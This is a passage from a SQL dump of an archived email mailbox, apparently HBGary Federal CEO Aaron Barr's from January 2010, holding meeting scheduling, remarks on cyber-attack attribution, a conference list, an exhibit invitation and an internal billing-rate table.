and\r\n>>>>> see\r\n>>>>> where we might be able to help each other.\r\n>>>>> \r\n>>>>> If you noticed the time of the email.  3rd night in a row I have\r\n>>> woken\r\n>>>>> up in the middle of the night and can\'t sleep because my mind is\r\n>>>>> racing.\r\n>>>>> Its nice to be excited about work, but I need some sleep.\r\n>>>>> \r\n>>>>> Aaron\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1249,'aaron_hbgary_com/1249.html'),(940,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000154.M8725P3547Q937.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Meeting with Symantec on Wed','Tough topic. &nbsp;I don\'t have anything in whitepaper or study form. &nbsp;We can talk on the phone for a few minutes about it if you want.The crux of it is attribution is somewhat key to developing a coherent cybersecurity and deterrence national cybersecurity strategy. &nbsp;Diplomacy runs off of consequences, good or bad. &nbsp;There are no consequences if you don\'t know who is attacking you or you can\'t prove who is attacking you. &nbsp;Attacks these days use a variety of obfuscation and misattribution techniques. &nbsp;We need to find a way to identify the attacker by nation and finally by person so we can use that in our foreign policy and military efforts to protect our national security. &nbsp;So how do you do that.I believe the answer is developing a threat intelligence center. &nbsp;Manned by cultural experts, threat and malware analysts. &nbsp;Equipped with the best tools, HBGary DDNA, and Malware Genome, Palantir Link Analytics, etc. &nbsp;Let me know if you want to talk a bit about this.AaronOn Jan 5, 2010, at 8:42 AM, Bob Slapnik wrote:Aaron,&nbsp;Do you anything I can read about attribution to help me prepare for the meeting?&nbsp;Bob&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Tuesday, January 05, 2010 7:57 AMTo:&nbsp;Bob SlapnikSubject:&nbsp;Re: Meeting with Symantec on Wed&nbsp;Bob,&nbsp;I would very much like to attend, but I didn\'t list this on my calendar (should have) and have a 1030 meeting with ManTech. &nbsp;Would it be possible for you to feel them out on the attribution and services side and see if we can set a follow up?&nbsp;Very interested to hear about the gov\'t opportunity and whether or not there is a play for HBGary Fed there.&nbsp;Aaron&nbsp;On Jan 4, 2010, at 10:14 PM, Bob Slapnik wrote:Aaron,&nbsp;Did you still want to attend the 11:30 Wed lunch meeting with Symantec?&nbsp; We’re meeting at TDB restaurant in Reston.&nbsp; The topics will be&nbsp;·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Integration of DDNA with Symantec enterprise products·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Having Symantec be a sales channel for HBGary products·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Using HBGary products within Symantec’s security services·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Teaming with Symantec on an upcoming gov’t opportunity&nbsp;Looking at this list I’d see HBGary Federal being a possible fit for the last item, but at this point I have no information of the nature of the opportunity.&nbsp; It would be great to have you attend – your choice.&nbsp;Bob&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2238,'aaron_hbgary_com/2238.html'),(941,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000154.M949302P3547Q941.eml','\"Nieves, Alexander\" <Alexander.Nieves@ManTech.com>','Re: Discussion','I would like to stop by and say hi to Bob Frisbie if he will be in.\r\n\r\nAaron\r\n\r\n\r\nOn Jan 5, 2010, at 6:29 AM, Nieves, Alexander wrote:\r\n\r\n> Aaron I can meet on wed about 1030, maybe we can do lunch\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Friday, January 01, 2010 6:28 PM\r\n> To: Nieves, Alexander\r\n> Subject: Re: Discussion\r\n> \r\n> Hey Alex,\r\n> \r\n> What is your schedule like the first few weeks of the new year?\r\n> \r\n> Happy New Year,\r\n> Aaron\r\n> \r\n> On Dec 15, 2009, at 8:09 AM, Nieves, Alexander wrote:\r\n> \r\n>> Aaron im sorry but Friday just got slammed with customer last minute\r\n>> appt. how about next Tuesday? \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Monday, December 14, 2009 9:00 PM\r\n>> To: Nieves, Alexander\r\n>> Subject: Re: Discussion\r\n>> \r\n>> Hi Alex,\r\n>> \r\n>> Friday 1-2 sounds good if your still available.  I will come to you.\r\n>> Let me know if you just want to talk for a bit.  I can at a high level\r\n>> discuss HBGary tools and capabilities.  If you want a demo of the new\r\n>> products, Responder, Digital DNA, and Recon I would have to bring an\r\n>> engineer.  If you just want to talk a bit first we can always set up a\r\n>> demo if your interested after the new year.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Dec 11, 2009, at 3:16 AM, Nieves, Alexander wrote:\r\n>> \r\n>>> I can do next Friday from 1-2pm, but I would have to ask you to meet\r\n>> me\r\n>>> in Herndon office where bill Varner sits. I will have a meeting there\r\n>>> that ends at 1pm. Let me know if this will work\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Thursday, December 10, 2009 1:38 PM\r\n>>> To: Nieves, Alexander\r\n>>> Subject: Re: Discussion\r\n>>> \r\n>>> How is your next Friday?  I am open.\r\n>>> \r\n>>> Aaron\r\n>>> \r\n>>> \r\n>>> On Dec 10, 2009, at 5:59 AM, Nieves, Alexander wrote:\r\n>>> \r\n>>>> Aaron this is week has turned into an appt nightmare. I will have to\r\n>>>> look at another date. Next week is pretty busy also it\'s the week we\r\n>>>> spend on strategy and operations reviews. Let me look at what might\r\n>> be\r\n>>>> open for next week maybe during lunch. Shoot me a couple of dates\r\n>>>> between 1100-1300 time frame for next week. thanks\r\n>>>> \r\n>>>> -----Original Message-----\r\n>>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>>> Sent: Tuesday, December 08, 2009 12:54 PM\r\n>>>> To: Nieves, Alexander\r\n>>>> Subject: Re: Discussion\r\n>>>> \r\n>>>> How does Friday look Alex?  If it\'s no good I can meet with you\r\n> maybe\r\n>>>> late next week to go over things and we can catch Greg his next trip\r\n>>>> out.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> From my iPhone\r\n>>>> \r\n>>>> On Dec 7, 2009, at 10:12 AM, \"Nieves, Alexander\"\r\n>>>> >>>> wrote:\r\n>>>> \r\n>>>>> Aaron im trying to move some appts around so we can meet so let me\r\n>>> see\r\n>>>>> what I can do for this week?\r\n>>>>> \r\n>>>>> -----Original Message-----\r\n>>>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>>>> Sent: Wednesday, December 02, 2009 2:25 AM\r\n>>>>> To: Nieves, Alexander\r\n>>>>> Subject: Discussion\r\n>>>>> \r\n>>>>> Hi Alex,\r\n>>>>> \r\n>>>>> I was wondering if you would be interested in getting together next\r\n>>>>> week\r\n>>>>> to talk about my new role, what we might be able to do together and\r\n>>>>> get\r\n>>>>> a brief on the latest HBGary and Mantech capabilities?  Greg\r\n> Hoglund\r\n>>>>> will be in town and of course does the best job conveying the\r\n>>>>> technologies (I\'ll get there).  Not sure how familiar you are with\r\n>>>>> their\r\n>>>>> tools, but the one I am most excited about is their Digital DNA, it\r\n>>>>> does\r\n>>>>> behavior/characteristic identification of malware based on HBGarys\r\n>>>>> Malware genome database.  So far its 75% successful at detecting\r\n> all\r\n>>>>> malware we throw at it, as the genome database gets larger that\r\n>>> should\r\n>>>>> get better, but already pretty good.\r\n>>>>> \r\n>>>>> Another idea I am starting to form is a combined capability that I\r\n>>>>> think\r\n>>>>> can push the rock a little on Attribution.  I am not sure if you\r\n> are\r\n>>>>> familiar with Palantir.  Their main focus in link analysis, and\r\n>> their\r\n>>>>> tool is best in class.  I want to combine Palantirs capability for\r\n>>>>> externals analysis with HBGarys capability for malware binary\r\n>>> analysis\r\n>>>>> and fingerprinting and start doing some long term analysis and\r\n>>>>> correlation of attacks.  I think this approach could push the\r\n>>>>> Attribution rock forward a little.\r\n>>>>> \r\n>>>>> I know you guys are in the \"forensics\" space but would really like\r\n>> to\r\n>>>>> talk about what that really means, also share where we are going\r\n> and\r\n>>>>> see\r\n>>>>> where we might be able to help each other.\r\n>>>>> \r\n>>>>> If you noticed the time of the email.  3rd night in a row I have\r\n>>> woken\r\n>>>>> up in the middle of the night and can\'t sleep because my mind is\r\n>>>>> racing.\r\n>>>>> Its nice to be excited about work, but I need some sleep.\r\n>>>>> \r\n>>>>> Aaron\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',16501,'aaron_hbgary_com/16501.html'),(942,'2010-01-05','\"steve winterfeld\" <winterfeldsj@gmail.com>','/aaron@hbgary.com/new/1297000155.M152204P3547Q942.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: DoD Cyber Conferences','Quick list\r\n\r\nFor the top ten that will give access to customers your interested in\r\nwould go with:\r\n1. Blackhat (Vegas)\r\n2. RSA\r\n3. AFCEA - STRATCOM Cyberspace Symposium (DoD)\r\n4. AFCEA - SPACECOM (Air Force)\r\n5. AFCEA - LandWarNet 2010 (Army)\r\n6. AFCEA - Homeland Security Conference (DHS)\r\n7. USMC 2009 ANNUAL INFORMATION ASSURANCE (IA) CONFERENCE\r\n8. CSO Perspectives Conference or CSO Executive Seminar Series on Data\r\nProtection and Encryption\r\n9. Government Forum of Incident Response and Security Teams (GFIRST) -\r\nIndustrial Control Systems Joint Working Group (ICSJWG)\r\n10. Maybe the cons (DEFCON, SHMOOCON, TOORCON)\r\n\r\nSchools to get tools into:\r\n1. Carnegie Mellon University\'s Computer Emergency Response Team\r\n2. Purdue\'s CERIAS\r\n3. National Collegiate Cyber Defense Competition\r\n\r\n\r\nOn Mon, Jan 4, 2010 at 10:19 AM, Aaron Barr  wrote:\r\n>\r\n> are u going to conference?  Sure top 10-15.\r\n>\r\n>\r\n> On Jan 4, 2010, at 12:14 PM, steve winterfeld wrote:\r\n>\r\n> > I fly to CA on 14th\r\n> >\r\n> > Do you want the top ten or what?\r\n> >\r\n> >\r\n> > On 1/4/10, Aaron Barr  wrote:\r\n> >> Do you have a list of good cybersecurity conferences?  I am going to be in\r\n> >> Colorado Springs the week of the 12th?  Your in San Diego then aren\'t you?\r\n> >>\r\n> >> Happy New Year\r\n> >> Aaron\r\n> >>\r\n> >>\r\n> >\r\n> > --\r\n> > Sent from my mobile device\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',3792,'aaron_hbgary_com/3792.html'),(943,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000155.M367897P3547Q943.eml','\"Tom Conroy\" <tom.conroy@ngc.com>,\"Tom Conroy\" <tom.conroy@ngc.com>','Big News for NG','Happy New Year.\r\n\r\nBig surprise to see NG is moving its entire HQ to DC.  Good move.\r\n\r\nI am heading out to have lunch with Mike Toth in a few minutes, haven\'t seen him in a while.  Heading out to Colorado Springs next week to  attend the AF Cybersecurity conference (and get in a little skiing).  Maybe we can get together for lunch the week of the 18th?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',9399,'aaron_hbgary_com/9399.html'),(944,'2010-01-05','\"steve winterfeld\" <winterfeldsj@gmail.com>','/aaron@hbgary.com/new/1297000155.M569833P3547Q944.eml','\"Aaron Barr\" <aaron@hbgary.com>','Monday','I am getting over a quad muscle pull so no snowboarding this year.\r\n\r\nCan do something Monday morning (hike...).\r\n\r\nHill said he would like to get together with you and Ted.\r\n',6630,'aaron_hbgary_com/6630.html'),(945,'2010-01-05','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000155.M766825P3547Q945.eml','\"steve winterfeld\" <winterfeldsj@gmail.com>','Re: Monday','Wus.\r\n\r\n From my iPhone\r\n\r\nOn Jan 5, 2010, at 1:22 PM, steve winterfeld \r\nwrote:\r\n\r\n> I am getting over a quad muscle pull so no snowboarding this year.\r\n>\r\n> Can do something Monday morning (hike...).\r\n>\r\n> Hill said he would like to get together with you and Ted.\r\n',16310,'aaron_hbgary_com/16310.html');
INSERT INTO `emails` VALUES (946,'2010-01-05','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000155.M984679P3547Q946.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','FW: INVITATION TO EXHIBIT: Agile Combat Support Conference 2010','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\nInvitation to Exhibit\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: DeeAnn Buonaccorsi\r\n[mailto:deeann@hbgary.com] \r\nSent: Tuesday, January 05, 2010 10:40 AM\r\nTo: \'Penny Leavy\'\r\nSubject: FW: INVITATION TO EXHIBIT: Agile Combat Support Conference 2010\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nAre you interested?\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice Manager\r\n\r\nHBGary, Inc.\r\n\r\n3604 Fair Oaks Blvd.&nbsp; Suite\r\n250\r\n\r\nSacramento, CA&nbsp; 95864\r\n\r\nTel:&nbsp; 916-459-4727 ext. 101\r\n\r\nFax: 916-481-1460\r\n\r\nEmail&nbsp; deeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Technology Forums\r\n[mailto:LRoberson@technologyforums.com] \r\nSent: Tuesday, January 05, 2010 10:30 AM\r\nTo: deeann@hbgary.com\r\nSubject: INVITATION TO EXHIBIT: Agile Combat Support Conference 2010\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n   \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      \r\n      \r\n      \r\n      \r\n      \r\n     \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    INVITATION TO EXHIBIT \r\n    \r\n   \r\n   \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      Air Force Agile Combat Support \r\n      Modernization\r\n      Planning Conference 2010\r\n      ACS&#8212;Partnering for Success\r\n      \r\n      Conference:&nbsp;\r\n      February 1-3, 2010&nbsp; |&nbsp;&nbsp; Location:&nbsp; Henderson,\r\n      NV\r\n      www.AgileCombat.com\r\n      Conference Focus\r\n      Agile Combat Support\r\n      (ACS) is a U.S. Air Force core competency that encompasses the majority\r\n      of functions on any base, and 70-80% of deployed functions. The ACS\r\n      Modernization Planning Conference brings together\r\n      personnel from the AF ACS, Research, Development, Test and Acquisition\r\n      sectors to exchange information, learn about the continuing evolution in\r\n      the AF\'s capability-based planning process, explore advances in potential\r\n      materiel solutions for AF ACS needs, and help shape the future of the\r\n      AF\'s ACS capabilities through modernization.\r\n      &nbsp;\r\n      Since support of the\r\n      event has moved to the Air Staff A4 Office, the 2010 ACS Conference has\r\n      expanded beyond its previous modernization focus to greater collaboration\r\n      with coalition partners and industry to maximize knowledge of current\r\n      capabilities and promote development of new capabilities. The conference\r\n      encourages and facilitates a robust crossflow of information among end\r\n      users, solution providers, policy influencers and fiscal advocates and\r\n      aims to review of progress being made to ensure ACS is postured to enter\r\n      the upcoming bi-annual AF Capabilities Review and Risk Assessment\r\n      process.\r\n      &nbsp;\r\n      Conference Purpose\r\n      The ACS Conference is a&nbsp;networking and\r\n      information-sharing opportunity focused on the needs and shortfalls in\r\n      Air Force ACS across the U.S. Sister Services and among its coalition\r\n      partners. The goal of the event is to determine the best solutions\r\n      through new development, modernization or replacement. This is why the\r\n      &quot;brass&quot; come&#8212;to deal with real-world problems in today\'s fight\r\n      and to try to get a headstart on tomorrow\'s battles through the lens of\r\n      modernization and cooperation.\r\n      \r\n      Attendance\r\n      Approximately 450\r\n      Air Force decision-makers are expected at the 2010 event, including\r\n      senior- and General Officer-level briefers and coalition partners. This\r\n      year\'s conference includes the semi-annual ACS Colonels Advisory Group\r\n      (CAG) meeting.\r\n      &nbsp;\r\n      Conference Topics\r\n      The event provides a\r\n      venue for developers of potential ACS solutions to showcase their\r\n      capabilities in these and other areas:\r\n      \r\n      \r\n       Warfighter\r\n           Integration\r\n      \r\n      \r\n      \r\n      \r\n       Capability-Based\r\n           Planning, Programs and Execution\r\n      \r\n      \r\n      \r\n      \r\n       Tactical\r\n           ACS\r\n      \r\n      \r\n      \r\n      \r\n       Modernization\r\n      \r\n      \r\n      \r\n      \r\n       Building\r\n           Partner Capability through ACS\r\n      \r\n      \r\n      \r\n      \r\n       USAF\r\n           Air Expeditionary Center\r\n      \r\n      \r\n      Exposition Focus\r\n      ACS covers a wide range of disciplines that include various focus\r\n      areas for modernization and deployability for the Air Force and coalition\r\n      partners. ACS encompasses everything not directly involved with aircraft\r\n      production and the manning associated with them. A few examples of the\r\n      type of solutions attendees seek are listed below.\r\n      \r\n      \r\n       EOD\r\n           (Explosive Ordinance Disposal), as well as bomb detection and\r\n           response/protection activities \r\n      \r\n      \r\n      \r\n      \r\n       How\r\n           to deal with, treat and record various medical problems associated\r\n           with deployment and wartime injuries such as emergency care and continuity\r\n           of care and rehabilitation \r\n      \r\n      \r\n      \r\n      \r\n       Robotics\r\n           in all forms, including UAVs, that protect our troops from harm or\r\n           enhance their ability to perform hazardous, repetitive and/or\r\n           strenuous tasks\r\n      \r\n      \r\n      \r\n      \r\n       Logistics\r\n           support&#8212;deployed and in garrison&#8212;including environmental considerations\r\n           and infrastructure improvements (alternative power and clean or\r\n           sterile water are good examples) \r\n      \r\n      \r\n      \r\n      \r\n       &nbsp;Force\r\n           protection, from normal physical protection (examples: weapons, body\r\n           armor, antimicrobial fabric, Kevlar, mobile heating and cooling mechanisms)\r\n           to secure communications and enable detection and protection from\r\n           nuclear, biological, chemical and high energy threats\r\n      \r\n      \r\n      \r\n      \r\n       Training\r\n           and human factors \r\n      \r\n      \r\n      \r\n      \r\n       Airfields,\r\n           arresting systems, fuels and power \r\n      \r\n      \r\n      \r\n      \r\n       Personnel\r\n           care, feeding and protection\r\n      \r\n      \r\n      Exhibiting, Advertising\r\n      and Sponsorships\r\n      If you are\r\n      interested in exhibiting, advertising or supporting the conference with a\r\n      sponsorship, please contact me or your Technology Forums Sales\r\n      Representative.\r\n      &nbsp;\r\n      Exhibitor Prospectus: http://www.technologyforums.com/exhibitors/downloads/10AS.pdf\r\n      The Prospectus includes pricing and available vendor\r\n      opportunities.\r\n      &nbsp;\r\n      Exposition Floorplan: http://www.expocadvr.com/host2/techforums/10AS/start.html\r\n      &nbsp;\r\n      &quot;T&quot; Sykes\r\n      Technology Forums\r\n      Phone: (703) 740-1957\r\n      E-mail: TSykes@TechnologyForums.com\r\n      Web: http://www.TechnologyForums.com\r\n      \r\n     \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n     \r\n      \r\n     \r\n    \r\n    \r\n   \r\n   \r\n    \r\n    \r\n     \r\n      \r\n      To forward this e-mail to a friend or\r\n      colleague: click\r\n      here\r\n      \r\n      Do not wish to receive ANY information from us in the future? click\r\n      here\r\n      Or write to: Technology Forums, Direct Marketing Productions, Inc., 14408\r\n      Chantilly Crossing Lane, Box 662, Chantilly, VA 20151\r\n      Please Note: This will\r\n      permanently remove you from our mailing list and you may miss out on\r\n      other opportunities of interest to you.\r\n      \r\n     \r\n    \r\n    \r\n   \r\n  \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8559,'aaron_hbgary_com/8559.html'),(947,'2010-01-05','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000156.M184997P3547Q947.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Palantir partnership','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI don&#8217;t have permission to access it\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, January 04, 2010 12:45 PM\r\nTo: Penny Hoglund\r\nCc: Ted Vera\r\nSubject: Re: Palantir partnership\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nyep. &nbsp;It is definitely not readable. &nbsp;Funny it\r\ndidn\'t look like that when I sent it. :)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nHere is a link to the working spreadsheet. &nbsp;Ted is\r\nworking up some package offerings as we speak.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nhttps://spreadsheets.google.com/a/hbgary.com/ccc?key=0Aru9N_XVzxNhdG1YQUVkUEVTU0tVZDBZa1RzV2x4RVE&amp;hl=en\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 4, 2010, at 3:40 PM, Penny Hoglund wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis is not readable, can you put into a spread sheet\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, December\r\n23, 2009 9:41 PM\r\nTo:&nbsp;Penny Hoglund\r\nSubject:&nbsp;Re: Palantir\r\npartnership\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nPenny,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHere\r\nare the rates Ted and I have worked up. Tomorrow we are going to work out some\r\npackage rates for different types of work and we can talk about those. The\r\nmultiple is 1 for Colorado, 1.27 for Sacramento, and 1.49 for DC to reach the\r\nMedian Salary.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTitle&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Base&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Mult.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Salary&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hr/co&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hr/ca&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hr/dc\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nReverse Eng Level 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;65000\r\n1.49 96850&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;65.49\r\n83.18 97.59 Reverse Eng Level 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;85000\r\n1.49 126650&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;85.65\r\n108.77 127.61 Reverse Eng Level 3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95000\r\n1.49 141550&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;95.72\r\n121.57 142.63 SW Dev 1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55000\r\n1.49 81950&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;55.42\r\n70.38 82.57 SW Dev 2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;75000\r\n1.49 111750&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;75.57\r\n95.97 112.60 SW Dev 